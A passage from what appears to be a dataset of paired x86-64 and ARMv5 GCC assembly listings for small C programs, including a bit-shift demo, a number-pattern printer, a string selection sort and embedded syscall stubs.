.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rdi, .LC0[rip]
mov eax, 0
call printf@PLT
lea rax, -16[rbp]
mov rsi, rax
lea rdi, .LC1[rip]
mov eax, 0
call __isoc99_scanf@PLT
mov DWORD PTR -12[rbp], 0
jmp .L2
.L3:
mov edx, DWORD PTR -16[rbp]
mov eax, DWORD PTR -12[rbp]
mov ecx, eax
sar edx, cl
mov eax, DWORD PTR -12[rbp]
mov esi, eax
lea rdi, .LC2[rip]
mov eax, 0
call printf@PLT
add DWORD PTR -12[rbp], 1
.L2:
cmp DWORD PTR -12[rbp], 2
jle .L3
mov edi, 10
call putchar@PLT
mov DWORD PTR -12[rbp], 0
jmp .L4
.L5:
mov edx, DWORD PTR -16[rbp]
mov eax, DWORD PTR -12[rbp]
mov ecx, eax
sal edx, cl
mov eax, DWORD PTR -12[rbp]
mov esi, eax
lea rdi, .LC3[rip]
mov eax, 0
call printf@PLT
add DWORD PTR -12[rbp], 1
.L4:
cmp DWORD PTR -12[rbp], 2
jle .L5
mov eax, 0
mov rsi, QWORD PTR -8[rbp]
sub rsi, QWORD PTR fs:40
je .L7
call __stack_chk_fail@PLT
.L7:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "975767.c"
.text
.section .rodata
.align 2
.LC0:
.ascii "Enter any number: \000"
.align 2
.LC1:
.ascii "%d\000"
.align 2
.LC2:
.ascii "Right shift by %d: %d\012\000"
.align 2
.LC3:
.ascii "Left shift by %d: %d\012\000"
.align 2
.LC4:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
ldr r3, .L8
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldr r0, .L8+4
bl printf
sub r3, fp, #16
mov r1, r3
ldr r0, .L8+8
bl __isoc99_scanf
mov r3, #0
str r3, [fp, #-12]
b .L2
.L3:
ldr r2, [fp, #-16]
ldr r3, [fp, #-12]
asr r3, r2, r3
mov r2, r3
ldr r1, [fp, #-12]
ldr r0, .L8+12
bl printf
ldr r3, [fp, #-12]
add r3, r3, #1
str r3, [fp, #-12]
.L2:
ldr r3, [fp, #-12]
cmp r3, #2
ble .L3
mov r0, #10
bl putchar
mov r3, #0
str r3, [fp, #-12]
b .L4
.L5:
ldr r2, [fp, #-16]
ldr r3, [fp, #-12]
lsl r3, r2, r3
mov r2, r3
ldr r1, [fp, #-12]
ldr r0, .L8+16
bl printf
ldr r3, [fp, #-12]
add r3, r3, #1
str r3, [fp, #-12]
.L4:
ldr r3, [fp, #-12]
cmp r3, #2
ble .L5
mov r3, #0
ldr r2, .L8
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L7
bl __stack_chk_fail
.L7:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L9:
.align 2
.L8:
.word .LC4
.word .LC0
.word .LC1
.word .LC2
.word .LC3
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "33740.c"
.intel_syntax noprefix
.text
.section .rodata
.LC0:
.string "Enter the value of x:"
.LC1:
.string "%d"
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rdi, .LC0[rip]
call puts@PLT
lea rax, -20[rbp]
mov rsi, rax
lea rdi, .LC1[rip]
mov eax, 0
call __isoc99_scanf@PLT
mov eax, DWORD PTR -20[rbp]
mov DWORD PTR -16[rbp], eax
jmp .L2
.L5:
mov eax, DWORD PTR -20[rbp]
mov DWORD PTR -12[rbp], eax
jmp .L3
.L4:
mov eax, DWORD PTR -12[rbp]
mov esi, eax
lea rdi, .LC1[rip]
mov eax, 0
call printf@PLT
sub DWORD PTR -12[rbp], 1
.L3:
mov eax, DWORD PTR -12[rbp]
cmp eax, DWORD PTR -16[rbp]
jge .L4
mov edi, 10
call putchar@PLT
sub DWORD PTR -16[rbp], 1
.L2:
cmp DWORD PTR -16[rbp], 0
jg .L5
mov eax, 0
mov rdx, QWORD PTR -8[rbp]
sub rdx, QWORD PTR fs:40
je .L7
call __stack_chk_fail@PLT
.L7:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "33740.c"
.text
.section .rodata
.align 2
.LC0:
.ascii "Enter the value of x:\000"
.align 2
.LC1:
.ascii "%d\000"
.align 2
.LC2:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
ldr r3, .L8
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldr r0, .L8+4
bl puts
sub r3, fp, #20
mov r1, r3
ldr r0, .L8+8
bl __isoc99_scanf
ldr r3, [fp, #-20]
str r3, [fp, #-16]
b .L2
.L5:
ldr r3, [fp, #-20]
str r3, [fp, #-12]
b .L3
.L4:
ldr r1, [fp, #-12]
ldr r0, .L8+8
bl printf
ldr r3, [fp, #-12]
sub r3, r3, #1
str r3, [fp, #-12]
.L3:
ldr r2, [fp, #-12]
ldr r3, [fp, #-16]
cmp r2, r3
bge .L4
mov r0, #10
bl putchar
ldr r3, [fp, #-16]
sub r3, r3, #1
str r3, [fp, #-16]
.L2:
ldr r3, [fp, #-16]
cmp r3, #0
bgt .L5
mov r3, #0
ldr r2, .L8
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L7
bl __stack_chk_fail
.L7:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L9:
.align 2
.L8:
.word .LC2
.word .LC0
.word .LC1
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "293377.c"
.intel_syntax noprefix
.text
.globl fputc
.type fputc, @function
fputc:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov DWORD PTR -4[rbp], edi
mov QWORD PTR -16[rbp], rsi
cmp DWORD PTR -4[rbp], 10
jne .L2
mov edi, 13
call print_char@PLT
.L2:
mov eax, DWORD PTR -4[rbp]
movsx eax, al
mov edi, eax
call print_char@PLT
mov eax, DWORD PTR -4[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size fputc, .-fputc
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "293377.c"
.text
.align 2
.global fputc
.syntax unified
.arm
.fpu softvfp
.type fputc, %function
fputc:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-8]
str r1, [fp, #-12]
ldr r3, [fp, #-8]
cmp r3, #10
bne .L2
mov r0, #13
bl print_char
.L2:
ldr r3, [fp, #-8]
and r3, r3, #255
mov r0, r3
bl print_char
ldr r3, [fp, #-8]
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size fputc, .-fputc
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "150307.c"
.intel_syntax noprefix
.text
.globl mx_selection_sort
.type mx_selection_sort, @function
mx_selection_sort:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push rbx
sub rsp, 56
.cfi_offset 3, -24
mov QWORD PTR -56[rbp], rdi
mov DWORD PTR -60[rbp], esi
mov DWORD PTR -44[rbp], 0
mov DWORD PTR -40[rbp], 0
jmp .L2
.L8:
mov eax, DWORD PTR -40[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -56[rbp]
add rax, rdx
mov rax, QWORD PTR [rax]
mov QWORD PTR -32[rbp], rax
mov eax, DWORD PTR -40[rbp]
mov DWORD PTR -48[rbp], eax
mov eax, DWORD PTR -40[rbp]
add eax, 1
mov DWORD PTR -36[rbp], eax
jmp .L3
.L6:
mov rax, QWORD PTR -32[rbp]
mov rdi, rax
call mx_strlen@PLT
mov ebx, eax
mov eax, DWORD PTR -36[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -56[rbp]
add rax, rdx
mov rax, QWORD PTR [rax]
mov rdi, rax
call mx_strlen@PLT
cmp ebx, eax
jle .L4
mov eax, DWORD PTR -36[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -56[rbp]
add rax, rdx
mov rax, QWORD PTR [rax]
mov QWORD PTR -32[rbp], rax
mov eax, DWORD PTR -36[rbp]
mov DWORD PTR -48[rbp], eax
jmp .L5
.L4:
mov rax, QWORD PTR -32[rbp]
mov rdi, rax
call mx_strlen@PLT
mov ebx, eax
mov eax, DWORD PTR -36[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -56[rbp]
add rax, rdx
mov rax, QWORD PTR [rax]
mov rdi, rax
call mx_strlen@PLT
cmp ebx, eax
jne .L5
mov eax, DWORD PTR -36[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -56[rbp]
add rax, rdx
mov rdx, QWORD PTR [rax]
mov rax, QWORD PTR -32[rbp]
mov rsi, rdx
mov rdi, rax
call mx_strcmp@PLT
test eax, eax
jle .L5
mov eax, DWORD PTR -36[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -56[rbp]
add rax, rdx
mov rax, QWORD PTR [rax]
mov QWORD PTR -32[rbp], rax
mov eax, DWORD PTR -36[rbp]
mov DWORD PTR -48[rbp], eax
.L5:
add DWORD PTR -36[rbp], 1
.L3:
mov eax, DWORD PTR -36[rbp]
cmp eax, DWORD PTR -60[rbp]
jl .L6
mov eax, DWORD PTR -48[rbp]
cmp eax, DWORD PTR -40[rbp]
je .L7
add DWORD PTR -44[rbp], 1
.L7:
mov eax, DWORD PTR -40[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -56[rbp]
add rax, rdx
mov rax, QWORD PTR [rax]
mov QWORD PTR -24[rbp], rax
mov eax, DWORD PTR -48[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -56[rbp]
add rax, rdx
mov edx, DWORD PTR -40[rbp]
movsx rdx, edx
lea rcx, 0[0+rdx*8]
mov rdx, QWORD PTR -56[rbp]
add rdx, rcx
mov rax, QWORD PTR [rax]
mov QWORD PTR [rdx], rax
mov eax, DWORD PTR -48[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -56[rbp]
add rdx, rax
mov rax, QWORD PTR -24[rbp]
mov QWORD PTR [rdx], rax
add DWORD PTR -40[rbp], 1
.L2:
mov eax, DWORD PTR -60[rbp]
sub eax, 1
cmp DWORD PTR -40[rbp], eax
jl .L8
mov eax, DWORD PTR -44[rbp]
mov rbx, QWORD PTR -8[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size mx_selection_sort, .-mx_selection_sort
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "150307.c"
.text
.align 2
.global mx_selection_sort
.syntax unified
.arm
.fpu softvfp
.type mx_selection_sort, %function
mx_selection_sort:
@ args = 0, pretend = 0, frame = 32
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #36
str r0, [fp, #-40]
str r1, [fp, #-44]
mov r3, #0
str r3, [fp, #-28]
mov r3, #0
str r3, [fp, #-24]
b .L2
.L8:
ldr r3, [fp, #-24]
lsl r3, r3, #2
ldr r2, [fp, #-40]
add r3, r2, r3
ldr r3, [r3]
str r3, [fp, #-36]
ldr r3, [fp, #-24]
str r3, [fp, #-32]
ldr r3, [fp, #-24]
add r3, r3, #1
str r3, [fp, #-20]
b .L3
.L6:
ldr r0, [fp, #-36]
bl mx_strlen
mov r4, r0
ldr r3, [fp, #-20]
lsl r3, r3, #2
ldr r2, [fp, #-40]
add r3, r2, r3
ldr r3, [r3]
mov r0, r3
bl mx_strlen
mov r3, r0
cmp r4, r3
ble .L4
ldr r3, [fp, #-20]
lsl r3, r3, #2
ldr r2, [fp, #-40]
add r3, r2, r3
ldr r3, [r3]
str r3, [fp, #-36]
ldr r3, [fp, #-20]
str r3, [fp, #-32]
b .L5
.L4:
ldr r0, [fp, #-36]
bl mx_strlen
mov r4, r0
ldr r3, [fp, #-20]
lsl r3, r3, #2
ldr r2, [fp, #-40]
add r3, r2, r3
ldr r3, [r3]
mov r0, r3
bl mx_strlen
mov r3, r0
cmp r4, r3
bne .L5
ldr r3, [fp, #-20]
lsl r3, r3, #2
ldr r2, [fp, #-40]
add r3, r2, r3
ldr r3, [r3]
mov r1, r3
ldr r0, [fp, #-36]
bl mx_strcmp
mov r3, r0
cmp r3, #0
ble .L5
ldr r3, [fp, #-20]
lsl r3, r3, #2
ldr r2, [fp, #-40]
add r3, r2, r3
ldr r3, [r3]
str r3, [fp, #-36]
ldr r3, [fp, #-20]
str r3, [fp, #-32]
.L5:
ldr r3, [fp, #-20]
add r3, r3, #1
str r3, [fp, #-20]
.L3:
ldr r2, [fp, #-20]
ldr r3, [fp, #-44]
cmp r2, r3
blt .L6
ldr r2, [fp, #-32]
ldr r3, [fp, #-24]
cmp r2, r3
beq .L7
ldr r3, [fp, #-28]
add r3, r3, #1
str r3, [fp, #-28]
.L7:
ldr r3, [fp, #-24]
lsl r3, r3, #2
ldr r2, [fp, #-40]
add r3, r2, r3
ldr r3, [r3]
str r3, [fp, #-16]
ldr r3, [fp, #-32]
lsl r3, r3, #2
ldr r2, [fp, #-40]
add r2, r2, r3
ldr r3, [fp, #-24]
lsl r3, r3, #2
ldr r1, [fp, #-40]
add r3, r1, r3
ldr r2, [r2]
str r2, [r3]
ldr r3, [fp, #-32]
lsl r3, r3, #2
ldr r2, [fp, #-40]
add r3, r2, r3
ldr r2, [fp, #-16]
str r2, [r3]
ldr r3, [fp, #-24]
add r3, r3, #1
str r3, [fp, #-24]
.L2:
ldr r3, [fp, #-44]
sub r3, r3, #1
ldr r2, [fp, #-24]
cmp r2, r3
blt .L8
ldr r3, [fp, #-28]
mov r0, r3
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.size mx_selection_sort, .-mx_selection_sort
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "854109.c"
.intel_syntax noprefix
.text
.globl __env
.bss
.align 8
.type __env, @object
.size __env, 8
__env:
.zero 8
.globl environ
.section .data.rel.local,"aw"
.align 8
.type environ, @object
.size environ, 8
environ:
.quad __env
.text
.globl initialise_monitor_handles
.type initialise_monitor_handles, @function
initialise_monitor_handles:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
nop
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE6:
.size initialise_monitor_handles, .-initialise_monitor_handles
.globl _getpid
.type _getpid, @function
_getpid:
.LFB7:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov eax, 1
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE7:
.size _getpid, .-_getpid
.globl _kill
.type _kill, @function
_kill:
.LFB8:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov DWORD PTR -4[rbp], edi
mov DWORD PTR -8[rbp], esi
call __errno_location@PLT
mov DWORD PTR [rax], 22
mov eax, -1
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE8:
.size _kill, .-_kill
.globl _exit
.type _exit, @function
_exit:
.LFB9:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov DWORD PTR -4[rbp], edi
mov eax, DWORD PTR -4[rbp]
mov esi, -1
mov edi, eax
call _kill
.L7:
jmp .L7
.cfi_endproc
.LFE9:
.size _exit, .-_exit
.weak _read
.type _read, @function
_read:
.LFB10:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov DWORD PTR -20[rbp], edi
mov QWORD PTR -32[rbp], rsi
mov DWORD PTR -24[rbp], edx
mov DWORD PTR -4[rbp], 0
jmp .L9
.L10:
call __io_getchar@PLT
mov ecx, eax
mov rax, QWORD PTR -32[rbp]
lea rdx, 1[rax]
mov QWORD PTR -32[rbp], rdx
mov edx, ecx
mov BYTE PTR [rax], dl
add DWORD PTR -4[rbp], 1
.L9:
mov eax, DWORD PTR -4[rbp]
cmp eax, DWORD PTR -24[rbp]
jl .L10
mov eax, DWORD PTR -24[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE10:
.size _read, .-_read
.weak _write
.type _write, @function
_write:
.LFB11:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov DWORD PTR -20[rbp], edi
mov QWORD PTR -32[rbp], rsi
mov DWORD PTR -24[rbp], edx
mov DWORD PTR -4[rbp], 0
jmp .L13
.L14:
mov rax, QWORD PTR -32[rbp]
lea rdx, 1[rax]
mov QWORD PTR -32[rbp], rdx
movzx eax, BYTE PTR [rax]
movsx eax, al
mov edi, eax
call __io_putchar@PLT
add DWORD PTR -4[rbp], 1
.L13:
mov eax, DWORD PTR -4[rbp]
cmp eax, DWORD PTR -24[rbp]
jl .L14
mov eax, DWORD PTR -24[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE11:
.size _write, .-_write
.globl _close
.type _close, @function
_close:
.LFB12:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov DWORD PTR -4[rbp], edi
mov eax, -1
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE12:
.size _close, .-_close
.globl _fstat
.type _fstat, @function
_fstat:
.LFB13:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov DWORD PTR -4[rbp], edi
mov QWORD PTR -16[rbp], rsi
mov rax, QWORD PTR -16[rbp]
mov DWORD PTR 24[rax], 8192
mov eax, 0
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE13:
.size _fstat, .-_fstat
.globl _isatty
.type _isatty, @function
_isatty:
.LFB14:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov DWORD PTR -4[rbp], edi
mov eax, 1
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE14:
.size _isatty, .-_isatty
.globl _lseek
.type _lseek, @function
_lseek:
.LFB15:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov DWORD PTR -4[rbp], edi
mov DWORD PTR -8[rbp], esi
mov DWORD PTR -12[rbp], edx
mov eax, 0
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE15:
.size _lseek, .-_lseek
.globl _open
.type _open, @function
_open:
.LFB16:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 72
mov QWORD PTR -184[rbp], rdi
mov DWORD PTR -188[rbp], esi
mov QWORD PTR -160[rbp], rdx
mov QWORD PTR -152[rbp], rcx
mov QWORD PTR -144[rbp], r8
mov QWORD PTR -136[rbp], r9
test al, al
je .L27
movaps XMMWORD PTR -128[rbp], xmm0
movaps XMMWORD PTR -112[rbp], xmm1
movaps XMMWORD PTR -96[rbp], xmm2
movaps XMMWORD PTR -80[rbp], xmm3
movaps XMMWORD PTR -64[rbp], xmm4
movaps XMMWORD PTR -48[rbp], xmm5
movaps XMMWORD PTR -32[rbp], xmm6
movaps XMMWORD PTR -16[rbp], xmm7
.L27:
mov eax, -1
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE16:
.size _open, .-_open
.globl _wait
.type _wait, @function
_wait:
.LFB17:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov QWORD PTR -8[rbp], rdi
call __errno_location@PLT
mov DWORD PTR [rax], 10
mov eax, -1
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE17:
.size _wait, .-_wait
.globl _unlink
.type _unlink, @function
_unlink:
.LFB18:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov QWORD PTR -8[rbp], rdi
call __errno_location@PLT
mov DWORD PTR [rax], 2
mov eax, -1
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE18:
.size _unlink, .-_unlink
.globl _times
.type _times, @function
_times:
.LFB19:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -8[rbp], rdi
mov eax, -1
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE19:
.size _times, .-_times
.globl _stat
.type _stat, @function
_stat:
.LFB20:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -8[rbp], rdi
mov QWORD PTR -16[rbp], rsi
mov rax, QWORD PTR -16[rbp]
mov DWORD PTR 24[rax], 8192
mov eax, 0
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE20:
.size _stat, .-_stat
.globl _link
.type _link, @function
_link:
.LFB21:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov QWORD PTR -8[rbp], rdi
mov QWORD PTR -16[rbp], rsi
call __errno_location@PLT
mov DWORD PTR [rax], 31
mov eax, -1
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE21:
.size _link, .-_link
.globl _fork
.type _fork, @function
_fork:
.LFB22:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
call __errno_location@PLT
mov DWORD PTR [rax], 11
mov eax, -1
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE22:
.size _fork, .-_fork
.globl _execve
.type _execve, @function
_execve:
.LFB23:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov QWORD PTR -8[rbp], rdi
mov QWORD PTR -16[rbp], rsi
mov QWORD PTR -24[rbp], rdx
call __errno_location@PLT
mov DWORD PTR [rax], 12
mov eax, -1
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE23:
.size _execve, .-_execve
.weak __io_putchar
.weak __io_getchar
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "854109.c"
.text
.global __env
.bss
.align 2
.type __env, %object
.size __env, 4
__env:
.space 4
.global environ
.data
.align 2
.type environ, %object
.size environ, 4
environ:
.word __env
.text
.align 2
.global initialise_monitor_handles
.syntax unified
.arm
.fpu softvfp
.type initialise_monitor_handles, %function
initialise_monitor_handles:
@ args = 0, pretend = 0, frame = 0
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
nop
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size initialise_monitor_handles, .-initialise_monitor_handles
.align 2
.global _getpid
.syntax unified
.arm
.fpu softvfp
.type _getpid, %function
_getpid:
@ args = 0, pretend = 0, frame = 0
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
mov r3, #1
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size _getpid, .-_getpid
.align 2
.global _kill
.syntax unified
.arm
.fpu softvfp
.type _kill, %function
_kill:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-8]
str r1, [fp, #-12]
bl __errno_location
mov r3, r0
mov r2, #22
str r2, [r3]
mvn r3, #0
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size _kill, .-_kill
.align 2
.global _exit
.syntax unified
.arm
.fpu softvfp
.type _exit, %function
_exit:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-8]
mvn r1, #0
ldr r0, [fp, #-8]
bl _kill
.L7:
b .L7
.size _exit, .-_exit
.align 2
.weak _read
.syntax unified
.arm
.fpu softvfp
.type _read, %function
_read:
@ args = 0, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #24
str r0, [fp, #-16]
str r1, [fp, #-20]
str r2, [fp, #-24]
mov r3, #0
str r3, [fp, #-8]
b .L9
.L10:
bl __io_getchar
mov r1, r0
ldr r3, [fp, #-20]
add r2, r3, #1
str r2, [fp, #-20]
and r2, r1, #255
strb r2, [r3]
